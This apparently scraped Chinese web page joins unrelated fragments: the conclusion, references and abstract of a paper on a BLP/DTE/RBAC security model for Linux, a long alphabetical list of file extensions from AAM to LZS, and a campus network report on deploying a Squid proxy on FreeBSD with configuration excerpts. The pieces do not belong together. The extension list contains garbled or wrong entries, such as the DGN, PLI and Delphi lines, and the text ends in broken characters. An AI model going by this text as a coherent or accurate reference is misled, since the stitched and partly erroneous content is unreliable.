操作系統安全增強技術作為信息安全的關鍵部分，得到了國內、外的普遍重視。在安全領域，系統的安全性總是相對的。因此，對安全模型的研究和建模以及信息安全系統體系和方案設計的研究還有待進一步的深入。本設計方案已經在Linux操作系統上得到具體的實現，還有待於在實際應用中對安全操作系統進一步的考驗和完善。

參考文獻
[1] GB17859-1999, 計算機信息系統安全保護等級劃分准則[S].
[2] DoD 5200. 28-STD, Department of Defense Trusted Computer System Evaluation Criteria[S]. Department of Defense, Washington,DC, 1985.
[3] 石文昌, 孫玉芳. 計算機安全標准演化與安全產品發展[J]. 廣西科學, 2001, 8 (3): 168-171.
[4] BELL D E, LaPADULA L J. Secure computer system: mathematical foundation and model[R]. Bedford MA: Mitre Corp, 1973. M74-244.
[5] 石文昌, 孫玉芳, 梁洪亮. 經典BLP安全公理的一種適應性標記實施方法及其正確性[J]. 計算機研究與發展, 2001,11 (38): 1366~1371
[6] 季慶光，唐柳英.《結構化保護級》安全操作系統安全策略模型[R]. 北京：中科院信息安全技術工程研究中心，中軟網路技術股份有限公司，2002.
The Research and Design of Security Model
LI Fang， HU Zhi-xing
(Information Engineering Institute, University of Science and Technology Beijing, Beijing 100083, China)

Abstract: After study of BLP model, DTE model and RBAC model, and combination of the three security models, an implementation scheme of security system and its components and functions is provided, which achieves the structure protection of GB17859 (as the level B2 of TCSEC standard). The scheme is implemented on Linux operating system successfully.

Key words: security techniques; security model; Linux operating system

⑼ 一共有多少種擴展名~請將其所有都介紹一下！

AAM Authorware shocked文件
AAS Authorware shocked包
ABF Adobe二進制屏幕字體
ABK CorelDRAW自動備份文件
ABS 該類文件有時用於指示一個摘要（就像在一篇有關科學方面的文章的一個摘要或概要，取自abstract）
ACE Ace壓縮檔案格式
ACL CorelDRAW 6鍵盤快捷鍵文件
ACM Windows系統目錄文件
ACP Microsoft office助手預覽文件
ACR 美國放射醫學大學文件格式
ACT Microsoft office助手文件
ACV OS/2的驅動程序，用於壓縮或解壓縮音頻數據
AD After Dark屏幕保護程序
ADA Ada源文件（非-GNAT）
ADB Ada源文件主體（GNAT）；HP100LX組織者的約定資料庫
ADD OS/2用於引導過程的適配器驅動程序
ADF Amiga磁碟文件
ADI AutoCAD設備無關二進制繪圖儀格式
ADM After Dark多模塊屏幕保護；Windows NT策略模板
ADP FaxWork用於傳真數據機的交互安裝文件；Astound Dynamite文件
ADR After Dark隨機屏幕保護；Smart Address的地址簿
ADS Ada源文件說明書（GNAT）
AFM Adobe的字體尺度
AF2，AF3 ABC的FlowChat文件
AI Adobe Illustrator格式圖形
AIF，AIFF 音頻互交換文件，Silicon Graphic and Macintosh應用程序的聲音格式
AIFC 壓縮AIF
AIM AOL即時信息傳送
AIS ACDSee圖形序列文件；Velvet Studio設備文件
AKW RoboHELP的幫助工程中所有A-關鍵詞
ALAW 歐洲電話音頻格式
ALB JASC Image Commander相冊
ALL 藝術與書信庫
AMS Velvet Studio音樂模塊（MOD）文件；Extreme的Tracker模塊文件
ANC Canon Computer的調色板文件，包含一系列可選的顏色板
ANI Windows系統中的動畫游標
ANS ANSI文本文件
ANT SimAnt For Windows中保存的游戲文件
API Adobe Acrobat使用的應用程序設計介面文件
APR Lotus Approach 97文件
APS Microsoft Visual C++文件
ARC LH ARC的壓縮檔案文件
ARI Aristotle聲音文件
ARJ Robert Jung ARJ壓縮包文件
ART Xara Studio繪畫文件；Canon Crayola美術文件；Clip Art文件格式；另一種光線跟蹤格式；AOL使用的用Johnson—Grace壓縮演算法壓縮的標記文件
ASA Microsoft Visual InterDev文件
ASC ASCⅡ文本文件；PGP演算法加密文件
ASD Microsoft Word的自動保存文件；Microsoft高級流媒體格式（microsoft advanced streaming FORMat，ASF）的描述文件；可用NSREX打開 Velvet Studio例子文件
ASE Velvet Studio采樣文件
ASF Microsoft高級流媒體格式文件
ASM 匯編語言源文件，Pro/E裝配文件
ASO Astound Dynamite對象文件
ASP 動態網頁文件；ProComm Plus安裝與連接腳本文件；Astound介紹文件
AST Astound多媒體文件；ClarisWorks「助手」文件
ASV DataCAD自動保存文件
ASX Cheyenne備份腳本文件；Microsoft高級流媒體重定向器文件，視頻文件
ATT AT< Group 4點陣圖文件
ATW 來自個人軟體的Any Time Deluxe For Windows個人信息管理員文件
AU Sun/NeXT/DEC/UNIX聲音文件；音頻U-Law（讀作「mu-law」）文件格式
AVB Computer Associates Inoculan反病毒軟體的病毒感染後文件
AVI Microsoft Audio Video Interleave電影格式
AVR Audio Visual Research文件格式
AVS 應用程序可視化格式
AWD FaxVien文檔
AWR Telsis數字儲存音頻文件擴展名格式
Axx ARJ壓縮文件的分包序號文件，用於將一個大文件壓至幾個小的壓縮包中（xx取01-99的數字）
A3L Authorware 3.x庫文件
A4L Authorware 4.x庫文件
A5L Authorware 5.x庫文件
A3M，A4M Authorware Macintosh未打包文件
A4P Authorware無運行時間的打包文件
A3W，A4W，A5W 未打包的Authorware Windows文件
BAK 備份文件
BAS BASIC源文件
BAT 批處理文件
BDF West Point Bridger Designer文件
BFC Windows 95 Briefcase文檔
BG Backgammon For Windows下的游戲文件
BGL Microsoft Flight Simulator（微軟飛行模擬器）的視景文件
BI 二進制文件
BIF Group Wise的初始化文件
BIFF XLIFE 3D格式文件
BIN 二進制文件
BK，BK$ 有時用於代表備份版本
BKS IBM BookManager Read書架文件
BMK 書簽文件
BMP Windows或OS/2點陣圖文件
BMI Apogee BioMenace數據文件
BOOK Adobe FrameMaker Book文件
BOX Lotus Notes的郵箱文件
BPL Borlard Delph 4打包庫
BQY BrioQuery文件
BRX 用於查看多媒體對象目錄的文件
BSC MS Developer Studio瀏覽器信息文件
BSP Quake圖形文件
BS1 Apogee Blake Stone數據文件
BS_ Microsoft Bookshelf Find菜單外殼擴展名
BTM Norton 應用程序使用的批處理文件
BUD Quicken的備份磁碟
BUN CakeWalk 聲音捆綁文件(一種MIDI程序)
BW SGI黑白圖像文件
BWV 商業波形文件
BYU BYU的電影文件格式
B4 Helix Nuts and Bolts文件
C C代碼文件
C0l 台風波形文件
CAB Microsoft壓縮檔案文件
CAD Softdek的Drafix CAD文件
CAL CALS壓縮點陣圖；日歷計劃表數據
CAM Casio照相機格式
CAP 壓縮音樂文件格式
CAS 逗號分開的ASCⅡ文件
CAT Quicken使用 的IntellCharge分類文件
CB Microsoft干凈引導文件
CBI 二進制卷格式文件(用於IBM大型機系統)
CC Visual dBASE用戶自定義類文件
CCA cc：郵件文件
CCB Visual Basic動態按鈕配置文件
CCF 多媒體查看器配置文件，用於OS/2
CCH Corel圖表文件
CCM Lotus cc：郵箱（例如「INBOX.CCM」）
CCO CyberChat數據文件
CCT Macromedia Director Shockwave投影
CDA CD音頻軌道
CDF Microsoft頻道定義格式文件
CDI Philip的高密盤交互格式
CDM Visual dBASE自定義數據模塊文件
CDR CorelDRAW繪圖文件；原始音頻CD數據文件
CDT CorelDRAW模板
CDX CorelDRAW壓縮繪圖文件；Microsoft Visual FoxPro索引文件
CEL CIMFast事件語言文件
CER 證書文件（MIME x-x509-ca-cert）
CFB Compton的多媒文件
CFG 配置文件
CFM CotdFusion模板文件；Visual dBASE Windows用戶定製表單
CGI 公共網關介面腳本文件
CGM 計算機圖形元文件
CH OS/2配置文件
CHK 由Windows磁碟碎片整理器或磁碟掃描保存的文件碎片
CHM 編譯過的HTML文件
CHR 字元集（字體文件）
CHP Ventura Publisher章節文件
CHT ChartViem文件；Harvard Graphics矢量文件
CIF Adaptec CD 創建器 CD映像文件
CIL Clip Gallery下載包
CIM SimCity 2000文件
CIN OS/2改變控制文件用於跟蹤INI文件中的變化
CK1 iD/Apogee Commander Keen 1數據文件
CK2 iD/Apogee Commander Keen 2數據文件
CK3 iD/Apogee Commander Keen 3數據文件
CK4 iD /Apogee Commander Keen 4數據文件
CK5 iD /Apogee Commander Keen 5數據文件
CK6 iD /Apogee Commander Keen 6數據文件
CLASS Java類文件
CLL Crick Software Clicker文件
CLP Windows 剪貼板文件
CLS Visual Basic類文件
CMD Windows NT，OS/2的命令文件；DOS CD/M命令文件；dBASEⅡ程序文件
CMF Corel元文件
CMG Chessmaster保存的游戲文件
CMP JPEG點陣圖文件；地址文檔
CMV Corel Move動畫文件
CMX Corel Presentation Exchange圖像
CNF Telnet，Windows和其他其內格式會發生改變的應用程序使用的配置文件
CNM Windows應用程序菜單選項和安裝文件
CNQ Compuworks Design Shop文件
CNT Windows（或其他）系統用於幫助索引或其他目的內容文件
COB TrueSpace 2對象文件
COD Microsoft C編譯器產生的可顯示機器碼/匯編代碼文件，其中附有源C代碼作為注釋
COM 命令文件（程序）
CPD Corel Print Office文件（圖形）
CPD，CPE 傳真覆蓋文檔
CPI Microsoft MS-DOS代碼頁信息文件
CPL 控制面板擴展名，Corel顏色板
CPO Corel列印存儲文件
CPP C++代碼文件
CPR Corel提供說明書文件
CPT Corel 照片-繪畫圖像
CPX Corel Presentation Exchange壓縮圖形文件
CRD Windows Cardfile文件
CRP Corel 提供的運行時介紹文件；Visual dBASE自定義報表文件
CRT 認證文件
CSC Corel腳本文件
CSP PC Emcee On_Screen圖像
CSS 瀑布式表格文件
CST Macromedia Director Cast文件
CSV 逗號分隔的值文件
CT Scitex CT點陣圖文件；Paint Shop Pro Grapic編輯器文件
CTL 通常用於表示一個包含控制項信息的文件；FaxWork用它來保持有關每個傳真收到或發出的信息
CUE Microsoft提示牌數據文件
CUR Windows游標文件
CUT Dr Halo點陣圖文件
CV Corel版本的檔案文件；Microsoft CodeView信息屏幕文件
CWK ClarisWorks數據文件.
CWS ClarisWorks模塊
CXT Macromedia Director受保護的（不可編輯的）投影文件
CXX C++源代碼文件
DAT 數據文件；WrodPerfect合並數據文件；用於一些MPEG格式的文件
DB Borland的Paradox 7表
DBC Microsoft Visual FoxPro資料庫容器文件
DBF dBASE文件，一種由Ashton-Tate創建的格式，可以被ACT！、Lipper、FoxPro、Arago、Wordtech、Xbase和類似資料庫或與資料庫有關產品識別；可用數據文件（能被Excel 97打開）；Oracle 8.1.x表格空間文件
DBX DataBearn圖像；Microsoft Visual FoxPro表格文件
DCM DCM模塊格式文件
DCR 沖擊波文件
DCS 桌面顏色分隔文件
DCT Microsoft Visual FoxPro資料庫容器
DCU Delphi編譯單元文件
DCX Microsoft Visual FoxPro資料庫容器；基於PCX的傳真圖像；宏
DC5 DataCAD繪圖文件
DDF Btrieve或Xtrieve數據定義文件，它包含用於描述Btrieve或Xtrieve文件的元數據
DDIF Digital Equipment或 Compaq格式，用於保存他們圖像與字處理文檔
DEF SmartWareⅡ數據文件；C++模塊定義文件
DEFI Oracle 7 卸載腳本文件
DEM 用於表示數字高度模型的USGS基準的文件
DER 認證文件
DEWF Macintosh Sound Cap/Sound Edit錄音設備格式
DGN Macintosh 95 CAD繪圖文件
DIB 設備無關點陣圖
DIC 目錄
DIF 可進行數據互換的電子表格
DIG DigiLink格式；Sound DesignerⅠ音頻文件
DIR MacromediaDirector文件
DIZ 描述文件
DLG C++對話框腳本文件
DLL 動態鏈接庫
DLS 可下載聲音文件
DMD Visual dBASE數據模塊文件
DMF X-Trakker音樂模塊（MOD）文件
DOC FrameMaker或FrameBuilder文檔；Word Star文檔、Word Perfect文檔、Microsoft Word文檔；DisplayWrite文檔
DOT Microsoft Word文檔模板
DPL Borland Delph3壓縮庫
DPR Borland Delphi工程頭文件
DRAW Acorn的基於對象的矢量圖像文件
DRV 驅動程序
DRW Micrografx Designer/Draw；Pro/E繪畫文件
DSF Micrografx Designer VFX文件
DSG DOOM保存的文件
DSM Dynamic Studio音樂模塊（MOD）文件
DSP Microsoft Developer Studio工程文件
DSQ Corel QUERY（查詢）文件
DST 刺綉機圖形文件
DSW Microsoft Developer Studio工作區文件
DTA Word Bank（世界銀行）的STARS數據文件
DTD SGML文檔類型定義（DTD）文件
DTED 地面高度數字數據（圖形的數據格式）文件
DTF Symantec Q&A相關的資料庫數據文件
DTM DigiTrakker模塊文件
DUN Microsoft拔號網路導出文件
DV 數字視頻文件（MIME）
DWD DiamondWare數字化文件
DWG AutoCAD工程圖文件；AutoCAD或Generic CADD老版本的繪圖格式
DXF 可進行互交換的繪圖文件格式，二進制的DWG格式的文本表示；數據交換文件
DXR Macromedia Director受保護（不可編輯）電影文件
D64 Commodore的64位模擬磁碟圖像文件
EDA Ensoniq ASR磁碟映像
EDD 元素定義文檔（FrameMaker+SGML文檔）
EDE Ensoniq EPS磁碟映像
EDK Ensoniq KT磁碟映像
EDQ Ensoniq SQ1/SQ2/Ks32磁碟映像
EDS Ensoniq SQ80磁碟映像
EDV Ensoniq VFX-SD磁碟映像
EFA Ensoniq ASR文件
EFE Ensoniq EPS文件
EFK Ensoniq KT文件
EFQ Ensoniq SQ1/SQ2/Ks32文件
EFS Ensoniq SQ80文件
EFV Ensoniq VFX-SD文件
EMD ABT擴展模塊
EMF Windows增強元文件
EML Microsoft Outlook Express郵件消息（MIME RTC822）文件
ENC 重演文件
ENFF 中性文件格式擴展名
EPHTML Perl解釋增強HTML文件
EPS 壓縮的PostScript圖像
EPSF 壓縮的PostScript文件
ERI ERWin文件
ERR 當RobooHELP幫助編譯器企圖編譯一個幫助系統源文件時用來存儲錯誤消息的文件
EPX ERWin文件
ESPS ESPS音頻文件
EUI Ensoniq ESP家族的壓縮磁碟映像
EVY 特使文檔
EWL Microsoft Encarta文檔
EXC Microsoft Word禁止字字典
EXE 可執行文件（程序）
F FORTRAN文件
F2R Farandoyle線性模塊格式
F3R Farandoyle分塊線性模塊格式
F77 FORTRAN文件
F90 FORTRAN文件
FAR Fradole Composer音樂模塊（MOD）文件
FAV Microsoft Outlook導航條
FAX 傳真類型圖像
FBK Navison 金融備份
FCD 虛擬CD-ROM
FDB Navison 金融資料庫
FDF Adobe Acrobat表單文檔文件
FEM CADRE有限元素網路文件
FFA，FFL，FFO，FFK Microsoft快速查找文件
FFF GUS PnP銀行文件格式
FFT 最終格式文本（IBM的DCA一部分）
FH3 Als Freehand 3繪圖文件
FIF Fractal圖像文件
FIG REND386/AVRIL使用的文件格式
FITS CCD照相機圖像；靈活圖像傳輸系統
FLA Macromedia Flash電影
FLC Autodesk FLIC動畫文件
FLF Corel Paradox產生的格式：Navison Financials許可文件；OS/2驅動程序文件
PLI Autodesk FLIC動畫
FLT StarTrekker音樂模塊(MOD)文件；MultiGen Inc的Open Flight使用的文件格式；Corel過濾器文件
FM Adobe FrameMaker文檔
FMB Oracle4.0版或以後版本表單的二進制源代碼文件
FML 文件鏡象列表（GetRight）
FMT Oracle 4.0版或以後版本表單的文本格式；Microsoft Schele+ 列印文件
FMX Oracle 4.0版或以後版本可執行表單
FND Microsoft Explorer保存的搜索文件（Find applet）
FNG 字體組文件（字體導航器，Font Navigator）
FNK Funk Tracker模塊格式
FOG Fontographer模塊字體
FON 系統字體
FOR FORTRAN文件
FOT 字體相關文件
FP FileMaker Pro文件
FP1 Flying Pigs for Windows數據文件
FP3 FileMaker Pro文件
FPT FileMaker Pro文件；Microsoft Fox Pro備注字體文件
FPX FlashPix點陣圖
FRM 表單；Frame Maker或Frame Builder文檔；Oracle可執行表(3.0版或早期版本)；Visual Basic表單；WordPerfect Merge表單；DataCAD標志報表文件
FRT Microsoft FoxPro報表文件
FRX Visual Basic表單文本；Microsoft FoxPro報表文件
FSF fPrint Audit Tool文件格式
FSL Borland的Paradox 7表單；Corel Paradox保存的表單
FSM Parandoyle示例格式
FT Lotus Notes全文本索引
FTG 全文本搜索組文件，由Windows幫助系統查找時產生——可以刪除，並在需要時重建起來
FTS 全文本搜索引文件，由Windows幫助系統查找時產生
FW2 Framework Ⅱ文件
FW3 Framework Ⅲ文件
FW4 Framework Ⅳ文件
FXP 經Microsoft FoxPro編譯的源文件
FZB Casio FZ-1銀行轉儲
FZF Casio FZ-1完全轉儲
FZV Casio FZ-1聲音轉儲
G721 Raw CCITT G.721 $bit ADPCM格式數據
G723 Raw CCITT G.723 3或5bit ADPCM格式數據
GAL Corel多媒體管理器相集
GCD Generic CADD繪畫文件（後續版本）
GCP Ground Control Point（地面控制點）文件，用於遠景數據形成圖像過程，經常用於生成圖工程—CHIPS（copenhagen image processing system）使用這些文件
GDB InterBase資料庫文件
GDM 鈴聲、口哨聲和聲音板模塊格式
GED GEDCOM 系譜數據文件，用於記錄和交換系譜數據的流行格式；圖形環境文檔繪畫
GEM GEM元文件
GEN Ventura產生的文本文件
GetRight GetRight未完成的下載文件
GFC Patton&Patton FlowCharting 4 flowchart文件
GFI，GFX Genigraphics圖形鏈接表示文件
GHO Norton 克隆磁碟映像
GID Windows 95全局索引文件（包括幫助狀態）
GIF CompuServe點陣圖文件
GIM，GIX Genigraphics圖形鏈接介紹文件
GKH Ensoniq EPS家簇磁碟映像文件
GKS Gravis Grip Key文檔
GL 動畫格式
GNA Genigraphics圖形鏈接介紹文件
GNT 生成代碼，Micro Focus屬性格式里的可執行代碼
GNX Genigraphics圖形鏈接介紹文件
GRA Microsoft Graph文件
GRD 用於遠程視景數據產生地圖過程的格式文件，通常應用於形成地圖工程—CHIPS（copenhagen image processing system）使用這些文件
GRF Grapher（Golden Software公司）圖形文件
GRP 程序管理組
GSM Raw GSM 6.10音頻流；Raw「byte aligned（比特對齊的）」 GSM 6.10音頻流；US Robotics語音數據機
GTK Graoumftracker（老）音樂模塊（MOD）文件
GT2 Graoumftracker（新）音樂模塊（MOD）文件
GWX，GWZ Cenigraphis圖形鏈接介紹文件
GZ UNIX gzip壓縮文件
H C程序頭文件
HCM IBM HCM配置文件
HCOM 聲音工具HCOM格式
HCR IBM HCD/HCM產品配置文件
HDF 高級計算機應用程序本地中心（NCSA） geospatial Hierarchial數據格式文件
HED HighEdit文檔
HEL Microsoft Hellbender格式保存的游戲文件
HEX Macintosh BinHex2.0文件
HGL HP圖形語言繪圖文件
HH 映射文件，包括一些話題ID和在幫助文件系統中話題的映射數字—允許運行中應用程序發送給用戶合適的上下文幫助話題
HLP 幫助文件；Date CAD Windows幫助文件
HOG Lucas Arts的Dark Forces WAD文件
HPJ Visual Basic幫助工程
HPP C++程序頭文件
HQX Macintosh BinHex 4.0文件
HST 歷史文件
HT HyperTerminal（超級終端）
HTM，HTML 超文本文檔
HTT Microsoft超文本模板
HTX 擴展HTML模板
HXM Descent2 HAM文件擴展
ICA Citrix文件
ICB Targa點陣圖文件
ICC Kodak列印機格式文件
ICL 圖標庫文件
ICM 圖形顏色匹配配置文件
ICO Windows圖標
IDB MSDev中間層文件
IDD MIDI設備定義
IDF MIDI設備定義（Windows 95需要的文件）
IDQ Internet數據查詢文件
IDX Microsoft FoxPro相關資料庫索引文件；Symantec Q&A相關資料庫索引文件；Microsoft Outlook Express文件
IFF 交換格式文件；Amiga ILBM
IGES 初始圖形交換說明文件
IGF 插入系統元文件
IIF QuickBooks for Windows交換文件
ILBM 點陣圖圖形文件
IMA WinImage磁碟映像文件
IMG GEM映像
IMZ WinImage壓縮磁碟映像文件
INC 匯編語言或動態伺服器包含文件
INF 信息文件
INI 初始化文件；MWave DSP Synth的「nwsynth.ini」 GMS安裝；Cravis Ultrasound bank安裝
INP Oracle 3.0版或早期版本的表單源代碼
INRS INRS遠程通信聲頻
INS InstallShield安裝腳本；X-Internet簽字文件；Ensoniq EPS字簇設備；Cell/ⅡMAC/PC抽樣設備
INT 中間代碼，當一個源程序經過語法檢查後編譯產生一個可執行代碼
IOF Findit文檔
IQY Microsoft Internet查詢文件
ISO 根據ISD 9660有關CD-ROM文件系統標准列出CD-ROM上的文件
ISP X-Internet簽字文件
IST 數字跟蹤設備文件
ISU InstallShield卸裝腳本
IT 脈沖跟蹤系統音樂模塊(MOD)文件
ITI 脈沖跟蹤系統設備
ITS 脈沖跟蹤系統抽樣，Internet文檔位置
IV Open Inventor中使用的文件格式
IVD 超過20/20微觀數據維數或變數等級文件
IVP 超過20/20的用戶子集配置文件
IVT 超過20/20表或集合數據文件
IVX 超過20/20微數據目錄文件
IW Idlewild屏幕保護程序
IWC Install Watch文檔
J62 Ricoh照相機格式
JAR Java檔案文件（一種用於applet和相關文件的壓縮文件）
JAVA Java源文件
JBF Paint Shop Pro圖像瀏覽文件
JFF，JFIF，JIF JPEG文件
JMP SAS的JMPDiscovery表格統計文件
JN1 Epic MegaGames的Jill of the Jungle數據文件
JPE，JPEG，JPG JPEG圖形文件
JS javascript源文件
JSP HTML網頁，其中包含有對一個Java servlet的參考
JTF JPEG點陣圖文件
K25 Kurzweil 2500抽樣文件
KAR 卡拉OK MIDI文件（文本+MIDI）
KDC Kodak光增強器
KEY DataCAD圖標工具條文件
KFX KoFak Group 4圖像文件
KIZ Kodak數字明信片文件
KKW RoboHELP幫助工程索引設計器中與主題無關的K開頭的所有關鍵字
KMP Korg Trinity KeyMap文件
KQP Konica照相機本地文件
KR1 Kurzweil 2000抽樣（多軟碟機）文件
KRZ Kurzweil 2000抽樣文件
KSF Korg Trinity抽樣文件
KYE Kye游戲數據
LAB Visual dBASE標簽文件
LBM Deluxe Paint點陣圖文件
LBT，LBX Microsoft FoxPro標簽文件
LDB Microsoft Access加鎖文件
LDL Corel Paradox分發庫
LEG Legacy文檔
LES Logitech娛樂系統游戲配置文件（與REC文件一樣）
LFT 3D Studio（DOS）放樣文件
LGO Paintbrush（Microsoft畫圖應用程序）的徽標文件
LHA LZH更換文件後綴
LIB 庫文件
LIN DataCAD線型文件
LIS 結構化查詢報告（SQR）程序產生的輸出文件
LLX Laplink交換代理
LNK Windows快捷方式文件
LOG 日誌文件
LPD Helix Nut和Bolt文件
LRC Intel可視電話文件
LSL Corel Paradox保存的庫文件
LSP AutoLISP、CommonLISP和其他LISP語言文件
LST 列表文件
LU ThoughtWing庫單元文件
LVL Parallax Software的 Miner Descent/D2 Level擴展
LWLO Lightwave分層對象文件
LWOB Lightwave對象文件
LWP Lotus WordPro 96/97文件
LWSC Lightwave視景文件
LYR DataCAD層文件
LZH LH ARC壓縮檔案
LZS Skyroads數據文件

⑽ 急求網路維護及管理實踐報告或者伺服器架設及維護實踐報告

一、對使用者的分析

現有網路情況：

我校校園網通過光纜已將31座建築物連通，光纜總長度約15Km，絕大多數樓中實現結構化布線，連入校園網的網路多媒體教室、教學基地、實驗室、機房等約有數十個，連網計算機達3000多台。我校目前出口有2個，一條速率為10M bps，通過光纖接入中國教育科研網CERNET，另一條速率為4M bps連入中國電信。

用戶的需求：

我校校園網的使用者主體為在校學生及老師。根據統計，約80%的用戶使用WWW、FTP等資源。我校現有Chinanet ip 126個，不可能分給所有的用戶使用。通過架設代理來實現讓所有用戶使用網路資源是最簡單並且相對和可靠的方法。通過架設專門的WWW(FTP)代理來滿足用戶的主要需求，通過架設socks5代理來滿足用戶的其他需求。

二、硬體及軟體的選擇

硬體

Cache Server可以是一台普通的PC加上cache軟體（如Squid、Inktomi）構成，也可以是軟硬體系統和一台專門的cache伺服器。根據 Chinanet出口的實際情況，4Mbps速率的出口，每秒最大傳入數據量為約500K/s。我校主幹網節點間為雙千兆連接，到達部分實驗室是百兆，到達宿舍為10M。送出的最大數據量為約12M/s。傳送的數據量不是很大，使用傳統的IA32構架伺服器既可滿足需求。我校網路中心主機房使用機櫃來存放伺服器。惠普公司的LH6000伺服器，具有很強的擴展性，是新型的六路伺服器。代理伺服器的運算負荷不是很重，對於IO的要求較高。LH6000通過自定義配置可以達到這個要求。通過使用raid可以提高磁碟性能，增加數據的可靠性。代理伺服器軟體佔用內存較大。LH6000可以支持8GB內存。最終選擇配置如下：

配置

處理器:1個100MHz系統匯流排的Intel Pentium III Xeon 700MHz處理器
內存:1G PC-133 ECC SDRAM
磁碟控制器:集成具有32MB高速緩存雙通道Ultra3 SCSI HP NetRAID控制器
附加單通道:Ultra Wide SCSI控制器
內置:熱插拔5x18G半高驅動器
網卡:內置INTEL 82559 100M網卡
電源:3個熱插拔電源

RAID使用了RAID5模式，這個模式是向陣列中的磁碟寫數據，奇偶校驗數據存放在陣列中的各個盤上，允許單個磁碟出錯。RAID 5也是以數據的校驗位來保證數據的，但它不是以單獨硬碟來存放數據的校驗位，而是將數據段的校驗位交互存放於各個硬碟上。這樣，任何一個硬碟損壞，都可以根據其它硬碟上的校驗位來重建損壞的數據。

軟體

Squid Internet Object Cache (Harvest Project的後續版本) 是美國政府大力助的一項研究計劃。Squid是一個開放源代碼的代理伺服器軟體。它是一個為UNIX系統下運行的全功能的代理伺服器軟體。它可以為 HTTP、FTP以及其他使用URL方式定位的作緩存。它支持客戶端使用SSL協議進行數據傳送。它可以使用ICP, HTCP, CARP, Cache Digests等協議和方式和其他運行squid的伺服器進行協同。它支持SNMP協議，可以用相應的軟體來做協調和管理。並且能配置詳細的訪問控制列表（acl）。

操作系統

以前學校的代理伺服器使用作為操作系統。這是因為以前的代理伺服器通常還兼作其他的伺服器。很多伺服器軟體是專門為開發的，或者在linux上運行的效率最高。Squid本身是為unix-like操作系統開發的。本身對系統沒有太多的要求。目前我校Chinanet代理伺服器使用的是FreeBSD作為操作系統。

沒有選擇Linux有下面幾點原因：

Linux的核心部分開發相對比較開放,FreeBSD的核心是由一個嚴格的core team來完成的。相對檢查更加嚴格。從核心部分比較BSD的內核更加穩定。

Linux對高負荷的承載能力不如FreeBSD。對於高負荷下程序出錯的容忍力，BSD遠強於Linux。

許多著名的網站，如：yahoo, netease 等著名的商業網站使用的就是freebsd,穩定性和性能早已通過很多專家的評測，遠遠強於Linux。

在著名的文章「Linux vs BSD: A Tale of Two System」中，是這樣評價Freebsd的: FreeBSD focuses on the Intel Architecture PC and server platforms, and on providing the best performance and stability possible. The DEC/Compaq Alpha is also supported.

但是Freebsd也有不如Linux的弱點。主要表現在磁碟IO的性能上。這主要是因為Freebsd使用的文件系統—UFS的性能不如linux上使用的ext2/ext3。但是在加上softupdate之後會有很大的改進。而且出國代理上配置的使用raid5模式，磁碟使用高轉速scsi硬碟，在上述硬體配置的情況下，讀取squid cache的數k大小的小文件使用ext2和ufs+softupdate的效率的差別在萬分之一以下。對於負載數千用戶的代理伺服器來說，可以忽略這樣的效率差別。

基於以上原因，最終選用Freebsd作為代理伺服器的操作系統。

三、代理伺服器軟體的安裝

squid的安裝

freebsd本身的ports程序帶有squid的穩定版本。目前squid的最新版本是2.4.STABLE6。在freebsd的/usr /ports/www/squid 目錄下執行make;make install就會將最新版本的squid代碼、編譯並最終安裝到/usr中的相應路徑中。

Squid本身會被安裝到/usr/local/sbin下
Squid的cache目錄默認為/usr/local/squid/cache
Squid的log目錄默認為/usr/local/squid/logs
squid的配置文件目錄默認為/usr/local/etc/squid

這樣的安裝方式比直接使用二進制的package安裝要好。因為二進制的package不能保證在自定義的系統上穩定運行。源代碼代碼在本地進行編譯之前，首先會校驗源代碼的MD5 checksum,這樣能保證我得到的源代碼是未經修改過的版本。然後再在本地進行編譯。最後安裝到相應目錄。

Squid的配置

Squid的配置文件是squid.conf

部分參數的配置如下：(為保證代理伺服器安全，部分參數用*代替)

http_port 8080 設置http代理埠為8080
cache_peer pa.us.ircache.net sibling 3128 3130 login=*:*
cache_peer sj.us.ircache.net sibling 3128 3130 login=*:*
cache_peer * parent 13280 4827 htcp *:*

這幾行是使用squid可以和其他幾台機器進行協同工作的特性，同幾台組成cache_peer。具體設置在後面的優化部分會解釋。

cache_peer_domain * .e.cn設置.e.cn的域名使用某個cache_peer訪問
cache_mem 400 MB設定內存cache的大小為400M
cache_swap_low 80
cache_swap_high 97這兩行是設置cache進行替換的閘值。當佔用到97%的cache後，cache中的內容將被清空20%。
maximum_object_size 20000 KB 最大對象大小為20M.
maximum_object_size_in_memory 10000 KB 內存中最大的對象大小為10M
ipcache_size 4096 ip對應cache的大小為4096
fqdncache_size 4096 域名全稱cache的大小為4096
cache_replacement_policy heap LFUDA cache替換策略
memory_replacement_policy heap LRU 內存替換策略
cache_dir ufs /usr/local/squid/cache 25000 16 256 cache存放的路徑大小及具體配置
dns_nameservers * * * * * 內部指定dns伺服器
authenticate_program * * 身份認證程序
authenticate_children 32 身份認證程序啟動的進程數目
request_body_max_size 5 MB 最大請求的body大小
reply_body_max_size 20 MB 最大回應的body大小
acl all src 0.0.0.0/0.0.0.0
acl dorm proxy_auth 192.168.0.0/255.255.0.0 REQUIRED
acl bjpu proxy_auth 202.112.64.0/255.255.240.0 REQUIRED
acl bjpu2 proxy_auth 211.71.80.0/255.255.240.0 REQUIRED

訪問控制列表

acl banned_sites {過濾的關鍵字}
http_access deny banned_sites
deny_info ERR_BANNED_SITE banned_sites

禁止訪問違禁站點的設置

acl manager proto cache_object
acl localhost src 127.0.0.1/255.255.255.255
acl SSL_ports port 443 563
acl Safe_ports port 80 # http
acl Safe_ports port 21 # ftp
acl Safe_ports port 443 563 # https, snews
acl Safe_ports port 70 # gopher
acl Safe_ports port 210 # wais
acl Safe_ports port 1025-65535 # unregistered ports
acl Safe_ports port 280 # http-mgmt
acl Safe_ports port 488 # gss-http
acl Safe_ports port 591 # filemaker
acl Safe_ports port 777 # multiling http
acl CONNECT method CONNECT

設置可以連接的埠

http_access allow dorm
http_access allow bjpu
http_access allow bjpu2
http_access allow manager localhost
http_access deny manager
http_access deny !Safe_ports
http_access deny CONNECT !SSL_ports
http_access deny all

允許http訪問

icp_access allow *允許cache_peer使用ICP協議訪問
proxy_auth_realm BJPU proxy-caching web server 驗證框提示的banner
cache_mgr [email protected] cache管理員的電子郵件地址
cache_effective_user *
cache_effective_group * 執行cache程序的用戶uid和gid
visible_hostname cnproxy.bjpu.e.cn cache服務的機器名
memory_pools

�0�82009 Bai